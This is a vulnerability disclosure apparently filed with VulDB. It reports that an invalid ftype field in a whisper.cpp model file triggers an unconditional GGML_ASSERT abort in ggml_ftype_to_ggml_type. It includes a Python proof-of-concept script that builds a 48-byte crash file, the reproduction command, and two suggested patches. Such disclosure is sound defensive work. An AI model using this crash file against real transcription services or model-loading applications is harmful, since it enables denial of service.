| Titolo | ggml-org whisper.cpp commit 95ea8f9b Reachable Assertion |
|---|
| Descrizione | ## Title
Reachable assertion in ggml ftype conversion aborts whisper.cpp on crafted model
## Summary
A crafted whisper model file with an invalid `ftype` (file type) field causes
`ggml_ftype_to_ggml_type()` in `ggml/src/ggml.c:1410` to trigger
`GGML_ASSERT()`, which unconditionally aborts the process via `ggml_abort()`.
The whisper.cpp model loader at `src/whisper.cpp:1555` passes the
attacker-controlled `ftype` value directly to this ggml function. Although
whisper.cpp has a post-call validation check (`if (wctx.wtype == GGML_TYPE_COUNT)
{ return false; }`), the assertion inside `ggml_ftype_to_ggml_type()` fires
**before** the function can return the error sentinel — so the error-handling
code is dead.
No sanitizers or debug builds are required — `GGML_ASSERT` calls `ggml_abort()`
which is never compiled away. This crashes optimized release builds.
## Details
**Vulnerable code path:**
1. **whisper.cpp model loading** (`src/whisper.cpp:1549–1559`):
```cpp
hparams.ftype %= GGML_QNT_VERSION_FACTOR; // ftype %= 1000
// for the big tensors, we have the option to store the data in
// 16-bit floats or quantized in order to save memory
wctx.wtype = ggml_ftype_to_ggml_type((ggml_ftype)(model.hparams.ftype));
if (wctx.wtype == GGML_TYPE_COUNT) { // ← DEAD CODE — never reached
WHISPER_LOG_ERROR("%s: invalid model (bad ftype value %d)\n",
__func__, model.hparams.ftype);
return false;
}
```
2. **ggml conversion function** (`ggml/src/ggml.c:1374–1412`):
```cpp
enum ggml_type ggml_ftype_to_ggml_type(enum ggml_ftype ftype) {
enum ggml_type wtype = GGML_TYPE_COUNT;
switch (ftype) {
case GGML_FTYPE_ALL_F32: wtype = GGML_TYPE_F32; break;
case GGML_FTYPE_MOSTLY_F16: wtype = GGML_TYPE_F16; break;
// ... valid types ...
case GGML_FTYPE_UNKNOWN: wtype = GGML_TYPE_COUNT; break;
case GGML_FTYPE_MOSTLY_Q4_1_SOME_F16: wtype = GGML_TYPE_COUNT; break;
}
GGML_ASSERT(wtype != GGML_TYPE_COUNT); // ← Line 1410: ABORTS HERE
return wtype; // never reached for invalid ftype
}
```
The design contradiction:
- The function sets `wtype = GGML_TYPE_COUNT` as an error sentinel for
unrecognized ftype values (and for deprecated types UNKNOWN and Q4_1_SOME_F16)
- It then immediately asserts that `wtype != GGML_TYPE_COUNT`
- This means the function can **never** return an error — it always aborts
Valid `ggml_ftype` enum values are: 0–4, 7–26. Values 5, 6, and ≥27 (after
`ftype %= 1000`) have no switch case, leaving `wtype` at its initial
`GGML_TYPE_COUNT` value, which triggers the assertion.
**Note:** `GGML_ASSERT()` is defined as:
```cpp
#define GGML_ASSERT(x) if (!(x)) GGML_ABORT("GGML_ASSERT(%s) failed", #x)
#define GGML_ABORT(...) ggml_abort(__FILE__, __LINE__, __VA_ARGS__)
```
Unlike the C standard `assert()` macro, `GGML_ASSERT` is **not** affected by
`-DNDEBUG` and fires unconditionally in all build configurations.
**Affected component:** `ggml/src/ggml.c` (ggml shared library, bundled with
whisper.cpp), triggered via `src/whisper.cpp` model loading.
## Proof of Concept
Generation script:
```python
import struct
buf = bytearray()
buf += struct.pack('<I', 0x67676d6c) # magic (GGML_FILE_MAGIC)
buf += struct.pack('<i', 51864) # n_vocab
buf += struct.pack('<i', 1500) # n_audio_ctx
buf += struct.pack('<i', 384) # n_audio_state
buf += struct.pack('<i', 6) # n_audio_head
buf += struct.pack('<i', 4) # n_audio_layer
buf += struct.pack('<i', 448) # n_text_ctx
buf += struct.pack('<i', 384) # n_text_state (must == n_audio_state)
buf += struct.pack('<i', 6) # n_text_head
buf += struct.pack('<i', 4) # n_text_layer
buf += struct.pack('<i', 80) # n_mels
buf += struct.pack('<i', 5) # ftype = 5 (not in ggml_ftype enum)
with open('poc-014-whisper-ftype-abort.bin', 'wb') as f:
f.write(buf)
```
Reproduction:
```
$ python3 gen_poc_014.py
$ whisper-cli -m poc-014-whisper-ftype-abort.bin
ggml/src/ggml.c:1410: GGML_ASSERT(wtype != GGML_TYPE_COUNT) failed
Aborted (core dumped)
```
Confirmed on:
- whisper.cpp commit 95ea8f9b (master)
- Fedora 43, x86_64, clang 21.1.8
- Both ASan+UBSan build and standard release build
## Impact
Any application using `whisper_init_from_buffer()` or `whisper_init_from_file()`
to load an untrusted whisper model file crashes immediately when the model
contains an invalid ftype value. This enables denial of service against:
- Transcription services accepting user-uploaded models
- Applications with "Load Model" functionality
- CI/CD pipelines processing model files
The attack requires a 48-byte file. The crash is unconditional on all
platforms and build configurations, since `GGML_ASSERT` is not affected by
`-DNDEBUG`.
## Suggested Fix
**Option A — Fix in ggml (preferred):** Remove the contradictory assertion and
let the function return the error sentinel:
```diff
- GGML_ASSERT(wtype != GGML_TYPE_COUNT);
-
return wtype;
```
Callers already check for `GGML_TYPE_COUNT` — this change makes their
error-handling code reachable.
**Option B — Fix in whisper.cpp:** Validate `ftype` before calling the ggml
function:
```diff
hparams.ftype %= GGML_QNT_VERSION_FACTOR;
+ // Validate ftype is in the supported range before calling ggml
+ if (hparams.ftype < 0 || hparams.ftype > 26 ||
+ hparams.ftype == 5 || hparams.ftype == 6) {
+ WHISPER_LOG_ERROR("%s: invalid model (unsupported ftype %d)\n",
+ __func__, hparams.ftype);
+ return false;
+ }
+
wctx.wtype = ggml_ftype_to_ggml_type((ggml_ftype)(model.hparams.ftype));
```
Option A is preferred because it fixes the bug at the source and benefits all
ggml consumers (llama.cpp, whisper.cpp, stable-diffusion.cpp, etc.).
|
|---|
| Utente | m00dy (UID 97162) |
|---|
| Sottomissione | 07/04/2026 20:32 (4 mesi fa) |
|---|
| Moderazione | 27/07/2026 09:09 (4 months later) |
|---|
| Stato | Accettato |
|---|
| Voce VulDB | 383383 [ggml-org whisper.cpp 95ea8f9b ggml/src/ggml.c ggml_ftype_to_ggml_type ftype negazione del servizio] |
|---|
| Punti | 17 |
|---|